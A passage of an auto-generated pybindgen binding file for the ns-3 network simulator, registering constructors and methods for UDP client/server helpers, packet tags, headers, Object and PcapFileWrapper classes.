cls.add_instance_attribute('accessor', 'ns3::Ptr< ns3::TraceSourceAccessor const >', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::callback [variable]
cls.add_instance_attribute('callback', 'std::string', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::help [variable]
cls.add_instance_attribute('help', 'std::string', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::name [variable]
cls.add_instance_attribute('name', 'std::string', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::supportLevel [variable]
cls.add_instance_attribute('supportLevel', 'ns3::TypeId::SupportLevel', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::supportMsg [variable]
cls.add_instance_attribute('supportMsg', 'std::string', is_const=False)
return
def register_Ns3UdpClientHelper_methods(root_module, cls):
## udp-client-server-helper.h (module 'applications'): ns3::UdpClientHelper::UdpClientHelper(ns3::UdpClientHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpClientHelper const &', 'arg0')])
## udp-client-server-helper.h (module 'applications'): ns3::UdpClientHelper::UdpClientHelper() [constructor]
cls.add_constructor([])
## udp-client-server-helper.h (module 'applications'): ns3::UdpClientHelper::UdpClientHelper(ns3::Address ip, uint16_t port) [constructor]
cls.add_constructor([param('ns3::Address', 'ip'), param('uint16_t', 'port')])
## udp-client-server-helper.h (module 'applications'): ns3::UdpClientHelper::UdpClientHelper(ns3::Address addr) [constructor]
cls.add_constructor([param('ns3::Address', 'addr')])
## udp-client-server-helper.h (module 'applications'): ns3::ApplicationContainer ns3::UdpClientHelper::Install(ns3::NodeContainer c) [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::NodeContainer', 'c')])
## udp-client-server-helper.h (module 'applications'): void ns3::UdpClientHelper::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
return
def register_Ns3UdpEchoClientHelper_methods(root_module, cls):
## udp-echo-helper.h (module 'applications'): ns3::UdpEchoClientHelper::UdpEchoClientHelper(ns3::UdpEchoClientHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpEchoClientHelper const &', 'arg0')])
## udp-echo-helper.h (module 'applications'): ns3::UdpEchoClientHelper::UdpEchoClientHelper(ns3::Address ip, uint16_t port) [constructor]
cls.add_constructor([param('ns3::Address', 'ip'), param('uint16_t', 'port')])
## udp-echo-helper.h (module 'applications'): ns3::UdpEchoClientHelper::UdpEchoClientHelper(ns3::Address addr) [constructor]
cls.add_constructor([param('ns3::Address', 'addr')])
## udp-echo-helper.h (module 'applications'): ns3::ApplicationContainer ns3::UdpEchoClientHelper::Install(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True)
## udp-echo-helper.h (module 'applications'): ns3::ApplicationContainer ns3::UdpEchoClientHelper::Install(std::string nodeName) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('std::string', 'nodeName')],
is_const=True)
## udp-echo-helper.h (module 'applications'): ns3::ApplicationContainer ns3::UdpEchoClientHelper::Install(ns3::NodeContainer c) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::NodeContainer', 'c')],
is_const=True)
## udp-echo-helper.h (module 'applications'): void ns3::UdpEchoClientHelper::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
## udp-echo-helper.h (module 'applications'): void ns3::UdpEchoClientHelper::SetFill(ns3::Ptr<ns3::Application> app, std::string fill) [member function]
cls.add_method('SetFill',
'void',
[param('ns3::Ptr< ns3::Application >', 'app'), param('std::string', 'fill')])
## udp-echo-helper.h (module 'applications'): void ns3::UdpEchoClientHelper::SetFill(ns3::Ptr<ns3::Application> app, uint8_t fill, uint32_t dataLength) [member function]
cls.add_method('SetFill',
'void',
[param('ns3::Ptr< ns3::Application >', 'app'), param('uint8_t', 'fill'), param('uint32_t', 'dataLength')])
## udp-echo-helper.h (module 'applications'): void ns3::UdpEchoClientHelper::SetFill(ns3::Ptr<ns3::Application> app, uint8_t * fill, uint32_t fillLength, uint32_t dataLength) [member function]
cls.add_method('SetFill',
'void',
[param('ns3::Ptr< ns3::Application >', 'app'), param('uint8_t *', 'fill'), param('uint32_t', 'fillLength'), param('uint32_t', 'dataLength')])
return
def register_Ns3UdpEchoServerHelper_methods(root_module, cls):
## udp-echo-helper.h (module 'applications'): ns3::UdpEchoServerHelper::UdpEchoServerHelper(ns3::UdpEchoServerHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpEchoServerHelper const &', 'arg0')])
## udp-echo-helper.h (module 'applications'): ns3::UdpEchoServerHelper::UdpEchoServerHelper(uint16_t port) [constructor]
cls.add_constructor([param('uint16_t', 'port')])
## udp-echo-helper.h (module 'applications'): ns3::ApplicationContainer ns3::UdpEchoServerHelper::Install(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True)
## udp-echo-helper.h (module 'applications'): ns3::ApplicationContainer ns3::UdpEchoServerHelper::Install(std::string nodeName) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('std::string', 'nodeName')],
is_const=True)
## udp-echo-helper.h (module 'applications'): ns3::ApplicationContainer ns3::UdpEchoServerHelper::Install(ns3::NodeContainer c) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::NodeContainer', 'c')],
is_const=True)
## udp-echo-helper.h (module 'applications'): void ns3::UdpEchoServerHelper::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
return
def register_Ns3UdpServerHelper_methods(root_module, cls):
## udp-client-server-helper.h (module 'applications'): ns3::UdpServerHelper::UdpServerHelper(ns3::UdpServerHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpServerHelper const &', 'arg0')])
## udp-client-server-helper.h (module 'applications'): ns3::UdpServerHelper::UdpServerHelper() [constructor]
cls.add_constructor([])
## udp-client-server-helper.h (module 'applications'): ns3::UdpServerHelper::UdpServerHelper(uint16_t port) [constructor]
cls.add_constructor([param('uint16_t', 'port')])
## udp-client-server-helper.h (module 'applications'): ns3::Ptr<ns3::UdpServer> ns3::UdpServerHelper::GetServer() [member function]
cls.add_method('GetServer',
'ns3::Ptr< ns3::UdpServer >',
[])
## udp-client-server-helper.h (module 'applications'): ns3::ApplicationContainer ns3::UdpServerHelper::Install(ns3::NodeContainer c) [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::NodeContainer', 'c')])
## udp-client-server-helper.h (module 'applications'): void ns3::UdpServerHelper::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
return
def register_Ns3UdpTraceClientHelper_methods(root_module, cls):
## udp-client-server-helper.h (module 'applications'): ns3::UdpTraceClientHelper::UdpTraceClientHelper(ns3::UdpTraceClientHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpTraceClientHelper const &', 'arg0')])
## udp-client-server-helper.h (module 'applications'): ns3::UdpTraceClientHelper::UdpTraceClientHelper() [constructor]
cls.add_constructor([])
## udp-client-server-helper.h (module 'applications'): ns3::UdpTraceClientHelper::UdpTraceClientHelper(ns3::Address ip, uint16_t port, std::string filename) [constructor]
cls.add_constructor([param('ns3::Address', 'ip'), param('uint16_t', 'port'), param('std::string', 'filename')])
## udp-client-server-helper.h (module 'applications'): ns3::UdpTraceClientHelper::UdpTraceClientHelper(ns3::Address addr, std::string filename) [constructor]
cls.add_constructor([param('ns3::Address', 'addr'), param('std::string', 'filename')])
## udp-client-server-helper.h (module 'applications'): ns3::ApplicationContainer ns3::UdpTraceClientHelper::Install(ns3::NodeContainer c) [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::NodeContainer', 'c')])
## udp-client-server-helper.h (module 'applications'): void ns3::UdpTraceClientHelper::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
return
def register_Ns3Empty_methods(root_module, cls):
## empty.h (module 'core'): ns3::empty::empty() [constructor]
cls.add_constructor([])
## empty.h (module 'core'): ns3::empty::empty(ns3::empty const & arg0) [copy constructor]
cls.add_constructor([param('ns3::empty const &', 'arg0')])
return
def register_Ns3Int64x64_t_methods(root_module, cls):
cls.add_binary_comparison_operator('<=')
cls.add_binary_comparison_operator('!=')
cls.add_inplace_numeric_operator('+=', param('ns3::int64x64_t const &', u'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right'))
cls.add_unary_numeric_operator('-')
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right'))
cls.add_binary_comparison_operator('<')
cls.add_binary_comparison_operator('>')
cls.add_inplace_numeric_operator('*=', param('ns3::int64x64_t const &', u'right'))
cls.add_inplace_numeric_operator('-=', param('ns3::int64x64_t const &', u'right'))
cls.add_inplace_numeric_operator('/=', param('ns3::int64x64_t const &', u'right'))
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('>=')
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t() [constructor]
cls.add_constructor([])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(double v) [constructor]
cls.add_constructor([param('double', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long double v) [constructor]
cls.add_constructor([param('long double', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(int v) [constructor]
cls.add_constructor([param('int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long int v) [constructor]
cls.add_constructor([param('long int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long long int v) [constructor]
cls.add_constructor([param('long long int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(unsigned int v) [constructor]
cls.add_constructor([param('unsigned int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long unsigned int v) [constructor]
cls.add_constructor([param('long unsigned int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long long unsigned int v) [constructor]
cls.add_constructor([param('long long unsigned int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(int64_t hi, uint64_t lo) [constructor]
cls.add_constructor([param('int64_t', 'hi'), param('uint64_t', 'lo')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(ns3::int64x64_t const & o) [copy constructor]
cls.add_constructor([param('ns3::int64x64_t const &', 'o')])
## int64x64-double.h (module 'core'): double ns3::int64x64_t::GetDouble() const [member function]
cls.add_method('GetDouble',
'double',
[],
is_const=True)
## int64x64-double.h (module 'core'): int64_t ns3::int64x64_t::GetHigh() const [member function]
cls.add_method('GetHigh',
'int64_t',
[],
is_const=True)
## int64x64-double.h (module 'core'): uint64_t ns3::int64x64_t::GetLow() const [member function]
cls.add_method('GetLow',
'uint64_t',
[],
is_const=True)
## int64x64-double.h (module 'core'): static ns3::int64x64_t ns3::int64x64_t::Invert(uint64_t v) [member function]
cls.add_method('Invert',
'ns3::int64x64_t',
[param('uint64_t', 'v')],
is_static=True)
## int64x64-double.h (module 'core'): void ns3::int64x64_t::MulByInvert(ns3::int64x64_t const & o) [member function]
cls.add_method('MulByInvert',
'void',
[param('ns3::int64x64_t const &', 'o')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::implementation [variable]
cls.add_static_attribute('implementation', 'ns3::int64x64_t::impl_type const', is_const=True)
return
def register_Ns3Chunk_methods(root_module, cls):
## chunk.h (module 'network'): ns3::Chunk::Chunk() [constructor]
cls.add_constructor([])
## chunk.h (module 'network'): ns3::Chunk::Chunk(ns3::Chunk const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Chunk const &', 'arg0')])
## chunk.h (module 'network'): uint32_t ns3::Chunk::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_pure_virtual=True, is_virtual=True)
## chunk.h (module 'network'): static ns3::TypeId ns3::Chunk::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## chunk.h (module 'network'): void ns3::Chunk::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3DeviceNameTag_methods(root_module, cls):
## packet-socket.h (module 'network'): ns3::DeviceNameTag::DeviceNameTag(ns3::DeviceNameTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DeviceNameTag const &', 'arg0')])
## packet-socket.h (module 'network'): ns3::DeviceNameTag::DeviceNameTag() [constructor]
cls.add_constructor([])
## packet-socket.h (module 'network'): void ns3::DeviceNameTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## packet-socket.h (module 'network'): std::string ns3::DeviceNameTag::GetDeviceName() const [member function]
cls.add_method('GetDeviceName',
'std::string',
[],
is_const=True)
## packet-socket.h (module 'network'): ns3::TypeId ns3::DeviceNameTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): uint32_t ns3::DeviceNameTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): static ns3::TypeId ns3::DeviceNameTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-socket.h (module 'network'): void ns3::DeviceNameTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): void ns3::DeviceNameTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): void ns3::DeviceNameTag::SetDeviceName(std::string n) [member function]
cls.add_method('SetDeviceName',
'void',
[param('std::string', 'n')])
return
def register_Ns3FlowIdTag_methods(root_module, cls):
## flow-id-tag.h (module 'network'): ns3::FlowIdTag::FlowIdTag(ns3::FlowIdTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::FlowIdTag const &', 'arg0')])
## flow-id-tag.h (module 'network'): ns3::FlowIdTag::FlowIdTag() [constructor]
cls.add_constructor([])
## flow-id-tag.h (module 'network'): ns3::FlowIdTag::FlowIdTag(uint32_t flowId) [constructor]
cls.add_constructor([param('uint32_t', 'flowId')])
## flow-id-tag.h (module 'network'): static uint32_t ns3::FlowIdTag::AllocateFlowId() [member function]
cls.add_method('AllocateFlowId',
'uint32_t',
[],
is_static=True)
## flow-id-tag.h (module 'network'): void ns3::FlowIdTag::Deserialize(ns3::TagBuffer buf) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'buf')],
is_virtual=True)
## flow-id-tag.h (module 'network'): uint32_t ns3::FlowIdTag::GetFlowId() const [member function]
cls.add_method('GetFlowId',
'uint32_t',
[],
is_const=True)
## flow-id-tag.h (module 'network'): ns3::TypeId ns3::FlowIdTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## flow-id-tag.h (module 'network'): uint32_t ns3::FlowIdTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## flow-id-tag.h (module 'network'): static ns3::TypeId ns3::FlowIdTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## flow-id-tag.h (module 'network'): void ns3::FlowIdTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## flow-id-tag.h (module 'network'): void ns3::FlowIdTag::Serialize(ns3::TagBuffer buf) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'buf')],
is_const=True, is_virtual=True)
## flow-id-tag.h (module 'network'): void ns3::FlowIdTag::SetFlowId(uint32_t flowId) [member function]
cls.add_method('SetFlowId',
'void',
[param('uint32_t', 'flowId')])
return
def register_Ns3Header_methods(root_module, cls):
cls.add_output_stream_operator()
## header.h (module 'network'): ns3::Header::Header() [constructor]
cls.add_constructor([])
## header.h (module 'network'): ns3::Header::Header(ns3::Header const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Header const &', 'arg0')])
## header.h (module 'network'): uint32_t ns3::Header::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_pure_virtual=True, is_virtual=True)
## header.h (module 'network'): uint32_t ns3::Header::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## header.h (module 'network'): static ns3::TypeId ns3::Header::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## header.h (module 'network'): void ns3::Header::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## header.h (module 'network'): void ns3::Header::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3LlcSnapHeader_methods(root_module, cls):
## llc-snap-header.h (module 'network'): ns3::LlcSnapHeader::LlcSnapHeader(ns3::LlcSnapHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::LlcSnapHeader const &', 'arg0')])
## llc-snap-header.h (module 'network'): ns3::LlcSnapHeader::LlcSnapHeader() [constructor]
cls.add_constructor([])
## llc-snap-header.h (module 'network'): uint32_t ns3::LlcSnapHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## llc-snap-header.h (module 'network'): ns3::TypeId ns3::LlcSnapHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## llc-snap-header.h (module 'network'): uint32_t ns3::LlcSnapHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## llc-snap-header.h (module 'network'): uint16_t ns3::LlcSnapHeader::GetType() [member function]
cls.add_method('GetType',
'uint16_t',
[])
## llc-snap-header.h (module 'network'): static ns3::TypeId ns3::LlcSnapHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## llc-snap-header.h (module 'network'): void ns3::LlcSnapHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## llc-snap-header.h (module 'network'): void ns3::LlcSnapHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## llc-snap-header.h (module 'network'): void ns3::LlcSnapHeader::SetType(uint16_t type) [member function]
cls.add_method('SetType',
'void',
[param('uint16_t', 'type')])
return
def register_Ns3Object_methods(root_module, cls):
## object.h (module 'core'): ns3::Object::Object() [constructor]
cls.add_constructor([])
## object.h (module 'core'): void ns3::Object::AggregateObject(ns3::Ptr<ns3::Object> other) [member function]
cls.add_method('AggregateObject',
'void',
[param('ns3::Ptr< ns3::Object >', 'other')])
## object.h (module 'core'): void ns3::Object::Dispose() [member function]
cls.add_method('Dispose',
'void',
[])
## object.h (module 'core'): ns3::Object::AggregateIterator ns3::Object::GetAggregateIterator() const [member function]
cls.add_method('GetAggregateIterator',
'ns3::Object::AggregateIterator',
[],
is_const=True)
## object.h (module 'core'): ns3::TypeId ns3::Object::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## object.h (module 'core'): ns3::Ptr<ns3::NetDevice> ns3::Object::GetObject() const [member function]
cls.add_method('GetObject',
'ns3::Ptr< ns3::NetDevice >',
[],
is_const=True, template_parameters=['ns3::NetDevice'])
## object.h (module 'core'): static ns3::TypeId ns3::Object::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## object.h (module 'core'): void ns3::Object::Initialize() [member function]
cls.add_method('Initialize',
'void',
[])
## object.h (module 'core'): bool ns3::Object::IsInitialized() const [member function]
cls.add_method('IsInitialized',
'bool',
[],
is_const=True)
## object.h (module 'core'): ns3::Object::Object(ns3::Object const & o) [copy constructor]
cls.add_constructor([param('ns3::Object const &', 'o')],
visibility='protected')
## object.h (module 'core'): void ns3::Object::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## object.h (module 'core'): void ns3::Object::DoInitialize() [member function]
cls.add_method('DoInitialize',
'void',
[],
visibility='protected', is_virtual=True)
## object.h (module 'core'): void ns3::Object::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3ObjectAggregateIterator_methods(root_module, cls):
## object.h (module 'core'): ns3::Object::AggregateIterator::AggregateIterator(ns3::Object::AggregateIterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Object::AggregateIterator const &', 'arg0')])
## object.h (module 'core'): ns3::Object::AggregateIterator::AggregateIterator() [constructor]
cls.add_constructor([])
## object.h (module 'core'): bool ns3::Object::AggregateIterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## object.h (module 'core'): ns3::Ptr<ns3::Object const> ns3::Object::AggregateIterator::Next() [member function]
cls.add_method('Next',
'ns3::Ptr< ns3::Object const >',
[])
return
def register_Ns3PacketBurst_methods(root_module, cls):
## packet-burst.h (module 'network'): ns3::PacketBurst::PacketBurst(ns3::PacketBurst const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketBurst const &', 'arg0')])
## packet-burst.h (module 'network'): ns3::PacketBurst::PacketBurst() [constructor]
cls.add_constructor([])
## packet-burst.h (module 'network'): void ns3::PacketBurst::AddPacket(ns3::Ptr<ns3::Packet> packet) [member function]
cls.add_method('AddPacket',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet')])
## packet-burst.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::Packet> > ns3::PacketBurst::Begin() const [member function]
cls.add_method('Begin',
'std::_List_const_iterator< ns3::Ptr< ns3::Packet > >',
[],
is_const=True)
## packet-burst.h (module 'network'): ns3::Ptr<ns3::PacketBurst> ns3::PacketBurst::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::PacketBurst >',
[],
is_const=True)
## packet-burst.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::Packet> > ns3::PacketBurst::End() const [member function]
cls.add_method('End',
'std::_List_const_iterator< ns3::Ptr< ns3::Packet > >',
[],
is_const=True)
## packet-burst.h (module 'network'): uint32_t ns3::PacketBurst::GetNPackets() const [member function]
cls.add_method('GetNPackets',
'uint32_t',
[],
is_const=True)
## packet-burst.h (module 'network'): std::list<ns3::Ptr<ns3::Packet>, std::allocator<ns3::Ptr<ns3::Packet> > > ns3::PacketBurst::GetPackets() const [member function]
cls.add_method('GetPackets',
'std::list< ns3::Ptr< ns3::Packet > >',
[],
is_const=True)
## packet-burst.h (module 'network'): uint32_t ns3::PacketBurst::GetSize() const [member function]
cls.add_method('GetSize',
'uint32_t',
[],
is_const=True)
## packet-burst.h (module 'network'): static ns3::TypeId ns3::PacketBurst::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-burst.h (module 'network'): void ns3::PacketBurst::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3PacketSocketTag_methods(root_module, cls):
## packet-socket.h (module 'network'): ns3::PacketSocketTag::PacketSocketTag(ns3::PacketSocketTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSocketTag const &', 'arg0')])
## packet-socket.h (module 'network'): ns3::PacketSocketTag::PacketSocketTag() [constructor]
cls.add_constructor([])
## packet-socket.h (module 'network'): void ns3::PacketSocketTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## packet-socket.h (module 'network'): ns3::Address ns3::PacketSocketTag::GetDestAddress() const [member function]
cls.add_method('GetDestAddress',
'ns3::Address',
[],
is_const=True)
## packet-socket.h (module 'network'): ns3::TypeId ns3::PacketSocketTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): ns3::NetDevice::PacketType ns3::PacketSocketTag::GetPacketType() const [member function]
cls.add_method('GetPacketType',
'ns3::NetDevice::PacketType',
[],
is_const=True)
## packet-socket.h (module 'network'): uint32_t ns3::PacketSocketTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): static ns3::TypeId ns3::PacketSocketTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-socket.h (module 'network'): void ns3::PacketSocketTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): void ns3::PacketSocketTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): void ns3::PacketSocketTag::SetDestAddress(ns3::Address a) [member function]
cls.add_method('SetDestAddress',
'void',
[param('ns3::Address', 'a')])
## packet-socket.h (module 'network'): void ns3::PacketSocketTag::SetPacketType(ns3::NetDevice::PacketType t) [member function]
cls.add_method('SetPacketType',
'void',
[param('ns3::NetDevice::PacketType', 't')])
return
def register_Ns3PcapFileWrapper_methods(root_module, cls):
## pcap-file-wrapper.h (module 'network'): static ns3::TypeId ns3::PcapFileWrapper::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## pcap-file-wrapper.h (module 'network'): ns3::PcapFileWrapper::PcapFileWrapper() [constructor]
cls.add_constructor([])
## pcap-file-wrapper.h (module 'network'): bool ns3::PcapFileWrapper::Fail() const [member function]
cls.add_method('Fail',
'bool',
[],
is_const=True)
## pcap-file-wrapper.h (module 'network'): bool ns3::PcapFileWrapper::Eof() const [member function]
cls.add_method('Eof',
'bool',
[],
is_const=True)
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Clear() [member function]
cls.add_method('Clear',
'void',
[])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Open(std::string const & filename, std::_Ios_Openmode mode) [member function]
cls.add_method('Open',
'void',
[param('std::string const &', 'filename'), param('std::_Ios_Openmode', 'mode')])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Close() [member function]
cls.add_method('Close',
'void',
[])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Init(uint32_t dataLinkType, uint32_t snapLen=std::numeric_limits<unsigned int>::max(), int32_t tzCorrection=ns3::PcapFile::ZONE_DEFAULT) [member function]
cls.add_method('Init',
'void',
[param('uint32_t', 'dataLinkType'), param('uint32_t', 'snapLen', default_value='std::numeric_limits<unsigned int>::max()'), param('int32_t', 'tzCorrection', default_value='ns3::PcapFile::ZONE_DEFAULT')])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Write(ns3::Time t, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('Write',
'void',
[param('ns3::Time', 't'), param('ns3::Ptr< ns3::Packet const >', 'p')])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Write(ns3::Time t, ns3::Header const & header, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('Write',
'void',
[param('ns3::Time', 't'), param('ns3::Header const &', 'header'), param('ns3::Ptr< ns3::Packet const >', 'p')])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Write(ns3::Time t, uint8_t const * buffer, uint32_t length) [member function]
cls.add_method('Write',
'void',
[param('ns3::Time', 't'), param('uint8_t const *', 'buffer'), param('uint32_t', 'length')])
